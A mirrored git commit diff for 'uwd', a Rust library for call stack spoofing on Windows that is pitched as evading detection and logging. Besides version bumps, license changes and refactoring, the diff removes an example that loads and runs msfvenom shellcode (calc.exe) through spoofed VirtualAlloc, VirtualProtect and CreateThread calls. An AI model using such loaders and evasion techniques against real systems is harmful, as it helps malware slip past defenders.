mirror of
https://github.com/joaoviictorti/uwd
synced 2026-06-08 15:04:33 +00:00
chore: release v0.3.5
This commit is contained in:
Generated
+3
-3
@@ -57,9 +57,9 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
|
||||
|
||||
[[package]]
|
||||
name = "dinvk"
|
||||
version = "0.3.1"
|
||||
version = "0.4.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "91eaaa6645d9f59464500fe0c3b3f65308456d38f18de09fa0547f8eaea3643e"
|
||||
checksum = "0ddcae11e0e69466a318b2ca7e9e8c0ddf3ccdb7d282ca2dbdf263ba4e0a4e19"
|
||||
dependencies = [
|
||||
"bitflags",
|
||||
"cfg-if",
|
||||
@@ -154,7 +154,7 @@ checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512"
|
||||
|
||||
[[package]]
|
||||
name = "uwd"
|
||||
version = "0.3.4"
|
||||
version = "0.3.5"
|
||||
dependencies = [
|
||||
"anyhow",
|
||||
"bitfield",
|
||||
|
||||
+6
-3
@@ -1,9 +1,9 @@
|
||||
[package]
|
||||
name = "uwd"
|
||||
version = "0.3.4"
|
||||
version = "0.3.5"
|
||||
edition = "2024"
|
||||
description = "Call Stack Spoofing for Rust"
|
||||
license = "MIT"
|
||||
license = "MIT OR Apache-2.0"
|
||||
repository = "https://github.com/joaoviictorti/uwd"
|
||||
homepage = "https://github.com/joaoviictorti/uwd"
|
||||
readme = "README.md"
|
||||
@@ -18,10 +18,13 @@ include = [
|
||||
"LICENSE",
|
||||
]
|
||||
|
||||
[lib]
|
||||
doctest = false
|
||||
|
||||
[dependencies]
|
||||
bitfield = "0.19.0"
|
||||
obfstr = "0.4.4"
|
||||
dinvk = "0.3.1"
|
||||
dinvk = "0.4.2"
|
||||
anyhow = { version = "1.0.98", default-features = false }
|
||||
memchr = { version = "2.7.4", default-features = false }
|
||||
|
||||
|
||||
@@ -17,26 +17,6 @@ update:
|
||||
publish:
|
||||
cargo publish --allow-dirty
|
||||
|
||||
# Formats all Rust source files
|
||||
fmt:
|
||||
cargo +nightly fmt --check
|
||||
|
||||
# Builds local documentation
|
||||
docs:
|
||||
cargo doc --no-deps --open
|
||||
|
||||
# Run only integration tests in /tests directory
|
||||
test:
|
||||
cargo test --test '*' -- --nocapture
|
||||
|
||||
# Run a specific example
|
||||
example name:
|
||||
cargo run --example {{name}}
|
||||
|
||||
# Test this workflow on your machine with `act`
|
||||
act:
|
||||
act -P windows-latest=-self-hosted
|
||||
|
||||
# Format all .toml files using Taplo
|
||||
taplo:
|
||||
taplo format
|
||||
+202
@@ -0,0 +1,202 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1,14 +1,12 @@
|
||||
# uwd 🦀
|
||||
# uwd
|
||||
|
||||

|
||||

|
||||

|
||||
[](https://github.com/joaoviictorti/uwd/actions/workflows/ci.yml)
|
||||

|
||||

|
||||

|
||||

|
||||
[](https://github.com/joaoviictorti/uwd/actions)
|
||||
|
||||
`uwd` is a Rust library for call stack spoofing on Windows, allowing you to execute arbitrary functions with a forged call stack that evades analysis, logging, or detection during stack unwinding.
|
||||
Rust library for call stack spoofing on Windows, allowing you to execute arbitrary functions with a forged call stack that evades analysis, logging, or detection during stack unwinding.
|
||||
|
||||
Inspired by [SilentMoonwalk](https://github.com/klezVirus/SilentMoonwalk), this crate brings low-level spoofing capabilities into a clean, idiomatic Rust interface with full support for `#[no_std]`, `MSVC` and `GNU` toolchains, and automated gadget resolution.
|
||||
|
||||
@@ -42,12 +40,12 @@ You can spoof:
|
||||
This example shows how to spawn `calc.exe` using a spoofed call stack. We call `WinExec` twice once using the Desync technique, and again using the Synthetic one.
|
||||
|
||||
```rust
|
||||
use dinvk::{GetModuleHandle, GetProcAddress};
|
||||
use dinvk::module::{get_module_address, get_proc_address};
|
||||
use uwd::spoof;
|
||||
|
||||
// Resolves addresses of the WinAPI functions to be used
|
||||
let kernel32 = GetModuleHandle("kernel32.dll", None);
|
||||
let win_exec = GetProcAddress(kernel32, "WinExec", None);
|
||||
let kernel32 = get_module_address("kernel32.dll", None);
|
||||
let win_exec = get_proc_address(kernel32, "WinExec", None);
|
||||
|
||||
// Execute command with `WinExec`
|
||||
let cmd = c"calc.exe";
|
||||
@@ -64,7 +62,7 @@ This example performs a indirect system call to `NtAllocateVirtualMemory` with a
|
||||
|
||||
```rust
|
||||
use std::{ffi::c_void, ptr::null_mut};
|
||||
use dinvk::NT_SUCCESS;
|
||||
use dinvk::winapis::NT_SUCCESS;
|
||||
use uwd::{syscall, AsPointer};
|
||||
|
||||
// Running indirect syscall with Call Stack Spoofing
|
||||
@@ -79,10 +77,6 @@ if !NT_SUCCESS(status) {
|
||||
println!("[+] Address allocated: {:?}", addr);
|
||||
```
|
||||
|
||||
## Additional Resources
|
||||
|
||||
For more examples, check the [examples](https://github.com/joaoviictorti/uwd/tree/main/examples) folder in the repository.
|
||||
|
||||
## References
|
||||
|
||||
I want to express my gratitude to these projects that inspired me to create `uwd` and contribute with some features:
|
||||
@@ -99,4 +93,14 @@ Special thanks to:
|
||||
|
||||
## License
|
||||
|
||||
This project is licensed under the MIT License. See the [LICENSE](https://github.com/joaoviictorti/uwd/tree/main/LICENSE) file for details.
|
||||
uwd is licensed under either of
|
||||
|
||||
- Apache License, Version 2.0, ([LICENSE-APACHE](https://github.com/joaoviictorti/uwd/tree/main/LICENSE-APACHE) or
|
||||
<https://www.apache.org/licenses/LICENSE-2.0>)
|
||||
- MIT license ([LICENSE-MIT](https://github.com/joaoviictorti/uwd/tree/main/LICENSE-MIT) or <https://opensource.org/licenses/MIT>)
|
||||
|
||||
at your option.
|
||||
|
||||
Unless you explicitly state otherwise, any contribution intentionally submitted for inclusion in uwd
|
||||
by you, as defined in the Apache-2.0 license, shall be dually licensed as above, without any
|
||||
additional terms or conditions.
|
||||
@@ -1,43 +0,0 @@
|
||||
use dinvk::{GetModuleHandle, GetProcAddress};
|
||||
use std::ptr::{copy_nonoverlapping, null_mut};
|
||||
use uwd::{AsPointer, spoof};
|
||||
|
||||
// msfvenom -p windows/x64/exec CMD=calc.exe -f rust
|
||||
const SHELLCODE: [u8; 276] = [
|
||||
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
|
||||
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
|
||||
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
|
||||
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
|
||||
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
|
||||
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
|
||||
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
|
||||
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
|
||||
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
|
||||
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
|
||||
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
|
||||
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
|
||||
];
|
||||
|
||||
fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
// Resolves addresses of the WinAPI functions to be used
|
||||
let kernel32 = GetModuleHandle("kernel32.dll", None);
|
||||
let virtual_alloc = GetProcAddress(kernel32, "VirtualAlloc", None);
|
||||
let virtual_protect = GetProcAddress(kernel32, "VirtualProtect", None);
|
||||
let create_thread = GetProcAddress(kernel32, "CreateThread", None);
|
||||
|
||||
// Allocate memory with RW using spoofed VirtualAlloc
|
||||
let addr = spoof!(virtual_alloc, null_mut::<u8>(), SHELLCODE.len(), 0x3000, 0x04)?;
|
||||
|
||||
// Copies the shellcode to the allocated memory
|
||||
unsafe { copy_nonoverlapping(SHELLCODE.as_ptr().cast(), addr, SHELLCODE.len()) };
|
||||
|
||||
// Changes protection to PAGE_EXECUTE_READ
|
||||
let mut old_protection = 0usize;
|
||||
spoof!(virtual_protect, addr, SHELLCODE.len(), 0x20, old_protection.as_ptr_mut())?;
|
||||
|
||||
// Execute shellcode in new thread
|
||||
spoof!(create_thread, null_mut::<u8>(), 0, addr, null_mut::<u8>(), 0, 0)?;
|
||||
|
||||
std::thread::sleep(std::time::Duration::from_secs(2000));
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,17 +0,0 @@
|
||||
use std::{ffi::c_void, ptr::null_mut};
|
||||
use uwd::{AsPointer, syscall};
|
||||
|
||||
fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
// Running indirect syscall with Call Stack Spoofing
|
||||
let mut addr = null_mut::<c_void>();
|
||||
let mut size = (1 << 12) as usize;
|
||||
let status = syscall!("NtAllocateVirtualMemory", -1isize, addr.as_ptr_mut(), 0, size.as_ptr_mut(), 0x3000, 0x04)? as i32;
|
||||
if status < 0 {
|
||||
eprintln!("NtAllocateVirtualMemory Failed With Status: {status:#X}");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!("[+] Address allocated: {:?}", addr);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,18 +0,0 @@
|
||||
use dinvk::{GetModuleHandle, GetProcAddress};
|
||||
use uwd::spoof;
|
||||
|
||||
fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
// Resolves addresses of the WinAPI functions to be used
|
||||
let kernel32 = GetModuleHandle("kernel32.dll", None);
|
||||
let win_exec = GetProcAddress(kernel32, "WinExec", None);
|
||||
|
||||
// Execute command with `WinExec`
|
||||
let cmd = c"calc.exe";
|
||||
let result = spoof!(win_exec, cmd.as_ptr(), 1)?;
|
||||
if result.is_null() {
|
||||
eprintln!("WinExec Failed");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,6 +1,3 @@
|
||||
;; Copyright (c) 2025 joaoviictorti
|
||||
;; Licensed under the MIT License. See LICENSE file in the project root for details.
|
||||
|
||||
;;
|
||||
;; Code responsible for Call Stack Spoofing Via Desync (NASM)
|
||||
;;
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
;; Copyright (c) 2025 joaoviictorti
|
||||
;; Licensed under the MIT License. See LICENSE file in the project root for details.
|
||||
|
||||
;;
|
||||
;; Code responsible for Call Stack Spoofing Via Synthetic (NASM)
|
||||
;;
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
;; Copyright (c) 2025 joaoviictorti
|
||||
;; Licensed under the MIT License. See LICENSE file in the project root for details.
|
||||
|
||||
;;
|
||||
;; Code responsible for Call Stack Spoofing Via Desync (MASM)
|
||||
;;
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
;; Copyright (c) 2025 joaoviictorti
|
||||
;; Licensed under the MIT License. See LICENSE file in the project root for details.
|
||||
|
||||
;;
|
||||
;; Code responsible for Call Stack Spoofing Via Synthetic (MASM)
|
||||
;;
|
||||
|
||||
+1
-4
@@ -1,12 +1,9 @@
|
||||
// Copyright (c) 2025 joaoviictorti
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for details.
|
||||
|
||||
#![no_std]
|
||||
#![doc = include_str!("../README.md")]
|
||||
|
||||
extern crate alloc;
|
||||
|
||||
mod data;
|
||||
mod types;
|
||||
mod uwd;
|
||||
mod util;
|
||||
|
||||
|
||||
@@ -1,9 +1,7 @@
|
||||
// Copyright (c) 2025 joaoviictorti
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for details.
|
||||
|
||||
#![allow(non_snake_case, non_camel_case_types)]
|
||||
|
||||
use core::ffi::c_void;
|
||||
use core::{ffi::c_void, slice::from_raw_parts};
|
||||
use dinvk::{types::*, helper::PE};
|
||||
|
||||
/// Indicates the presence of an exception handler in the function.
|
||||
pub const UNW_FLAG_EHANDLER: u8 = 0x1;
|
||||
@@ -11,6 +9,53 @@ pub const UNW_FLAG_EHANDLER: u8 = 0x1;
|
||||
/// Indicates chained unwind information is present.
|
||||
pub const UNW_FLAG_CHAININFO: u8 = 0x4;
|
||||
|
||||
/// Provides access to the unwind (exception handling) information of a PE image.
|
||||
#[derive(Debug)]
|
||||
pub struct Unwind {
|
||||
/// Reference to the parsed PE image.
|
||||
pub pe: PE,
|
||||
}
|
||||
|
||||
impl Unwind {
|
||||
/// Creates a new [`Unwind`].
|
||||
pub fn new(pe: PE) -> Self {
|
||||
Unwind { pe: pe }
|
||||
}
|
||||
|
||||
/// Returns all runtime function entries.
|
||||
pub fn entries(&self) -> Option<&[IMAGE_RUNTIME_FUNCTION]> {
|
||||
let nt = self.pe.nt_header()?;
|
||||
let dir = unsafe {
|
||||
(*nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]
|
||||
};
|
||||
|
||||
if dir.VirtualAddress == 0 || dir.Size == 0 {
|
||||
return None;
|
||||
}
|
||||
|
||||
let addr = (self.pe.base as usize + dir.VirtualAddress as usize) as *const IMAGE_RUNTIME_FUNCTION;
|
||||
let len = dir.Size as usize / size_of::<IMAGE_RUNTIME_FUNCTION>();
|
||||
|
||||
Some(unsafe { from_raw_parts(addr, len) })
|
||||
}
|
||||
|
||||
/// Finds a runtime function by its RVA.
|
||||
pub fn function_by_offset(&self, offset: u32) -> Option<&IMAGE_RUNTIME_FUNCTION> {
|
||||
self.entries()?.iter().find(|f| f.BeginAddress == offset)
|
||||
}
|
||||
|
||||
/// Gets the size in bytes of a function using the unwind table.
|
||||
#[cfg(feature = "desync")]
|
||||
pub fn function_size(&self, func: *mut c_void) -> Option<u64> {
|
||||
let offset = (func as usize - self.pe.base as usize) as u32;
|
||||
let entry = self.function_by_offset(offset)?;
|
||||
|
||||
let start = self.pe.base as u64 + entry.BeginAddress as u64;
|
||||
let end = self.pe.base as u64 + entry.EndAddress as u64;
|
||||
Some(end - start)
|
||||
}
|
||||
}
|
||||
|
||||
/// Configuration structure passed to the spoof ASM routine.
|
||||
#[repr(C)]
|
||||
#[derive(Debug)]
|
||||
+23
-53
@@ -1,31 +1,24 @@
|
||||
// Copyright (c) 2025 joaoviictorti
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for details.
|
||||
|
||||
use core::{ffi::c_void, slice::from_raw_parts};
|
||||
use alloc::vec::Vec;
|
||||
|
||||
use obfstr::obfbytes as b;
|
||||
use dinvk::data::IMAGE_RUNTIME_FUNCTION;
|
||||
use dinvk::types::IMAGE_RUNTIME_FUNCTION;
|
||||
|
||||
use super::ignoring_set_fpreg;
|
||||
use crate::ignoring_set_fpreg;
|
||||
|
||||
/// Searches for a specific instruction pattern inside a function's code region,
|
||||
/// returning the relative offset from the function's start if found.
|
||||
/// Searches for a valid instruction offset in a function.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `module` - Base address of the module containing the target function.
|
||||
/// * `runtime` - A reference to the IMAGE_RUNTIME_FUNCTION describing the function.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The relative offset inside the function where the gadget was found.
|
||||
/// This scans the function's code region for a `call qword ptr [rip+0]`
|
||||
/// instruction sequence and returns the offset *after* the instruction.
|
||||
///
|
||||
/// # Notes
|
||||
///
|
||||
/// The pattern being searched is a `call qword ptr [rip+0]`, encoded as `48 FF 15 00 00 00 00`,
|
||||
/// and the function returns the offset *after* the full instruction (+7).
|
||||
pub fn find_valid_instruction_offset(module: *mut c_void, runtime: &IMAGE_RUNTIME_FUNCTION) -> Option<u32> {
|
||||
/// The searched gadget pattern is `48 FF 15 00 00 00 00`, and the
|
||||
/// returned value is `match_offset + 7`.
|
||||
pub fn find_valid_instruction_offset(
|
||||
module: *mut c_void,
|
||||
runtime: &IMAGE_RUNTIME_FUNCTION,
|
||||
) -> Option<u32> {
|
||||
let start = module as u64 + runtime.BeginAddress as u64;
|
||||
let end = module as u64 + runtime.EndAddress as u64;
|
||||
let size = end - start;
|
||||
@@ -43,18 +36,8 @@ pub fn find_valid_instruction_offset(module: *mut c_void, runtime: &IMAGE_RUNTIM
|
||||
None
|
||||
}
|
||||
|
||||
/// Scans the memory of a module for a specific byte pattern, constrained to
|
||||
/// valid runtime functions with corresponding unwind info.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `module` - Base address of the loaded module to scan.
|
||||
/// * `pattern` - Byte sequence representing the target gadget.
|
||||
/// * `runtime_table` - Slice of `IMAGE_RUNTIME_FUNCTION` entries describing the module's valid code ranges.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Pointer to the start of the matching gadget and the associated stack frame size.
|
||||
/// Scans the code of a module for a given byte pattern, restricted to valid
|
||||
/// RUNTIME_FUNCTION regions.
|
||||
pub fn find_gadget(
|
||||
module: *mut c_void,
|
||||
pattern: &[u8],
|
||||
@@ -82,50 +65,44 @@ pub fn find_gadget(
|
||||
})
|
||||
.collect::<Vec<(*mut u8, u32)>>();
|
||||
|
||||
// No gadget found? return None
|
||||
if gadgets.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Randomizes the order of possible frames found (if there is more than one),
|
||||
// helps to shuffle patterns and reduce repetition-based heuristics
|
||||
// Shuffle to reduce pattern predictability.
|
||||
shuffle(&mut gadgets);
|
||||
|
||||
// Take the first occurrence
|
||||
gadgets.first().copied()
|
||||
}
|
||||
}
|
||||
|
||||
/// Scans the current thread's stack to locate the return address that falls within
|
||||
/// the range of the `BaseThreadInitThunk` function from `kernel32.dll`.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The stack address (`RSP`) where a return to `BaseThreadInitThunk` was found.
|
||||
#[cfg(feature = "desync")]
|
||||
pub fn find_base_thread_return_address() -> Option<usize> {
|
||||
use dinvk::{GetModuleHandle, GetProcAddress};
|
||||
use dinvk::{hash::{jenkins3, murmur3}, pe::PE};
|
||||
use dinvk::module::{get_module_address, get_proc_address};
|
||||
use dinvk::{hash::{jenkins3, murmur3}, helper::PE};
|
||||
use crate::types::Unwind;
|
||||
|
||||
unsafe {
|
||||
// Get handle for kernel32.dll
|
||||
let kernel32 = GetModuleHandle(2808682670u32, Some(murmur3));
|
||||
let kernel32 = get_module_address(2808682670u32, Some(murmur3));
|
||||
if kernel32.is_null() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Resolves the address of the BaseThreadInitThunk function
|
||||
let base_thread = GetProcAddress(kernel32, 4073232152u32, Some(jenkins3));
|
||||
let base_thread = get_proc_address(kernel32, 4073232152u32, Some(jenkins3));
|
||||
if base_thread.is_null() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Calculate the size of the BaseThreadInitThunk function
|
||||
let pe_kernel32 = PE::parse(kernel32);
|
||||
let size = pe_kernel32.unwind().function_size(base_thread)? as usize;
|
||||
let pe_kernel32 = Unwind::new(PE::parse(kernel32));
|
||||
let size = pe_kernel32.function_size(base_thread)? as usize;
|
||||
|
||||
// Access the TEB and stack limits
|
||||
let teb = dinvk::NtCurrentTeb();
|
||||
let teb = dinvk::winapis::NtCurrentTeb();
|
||||
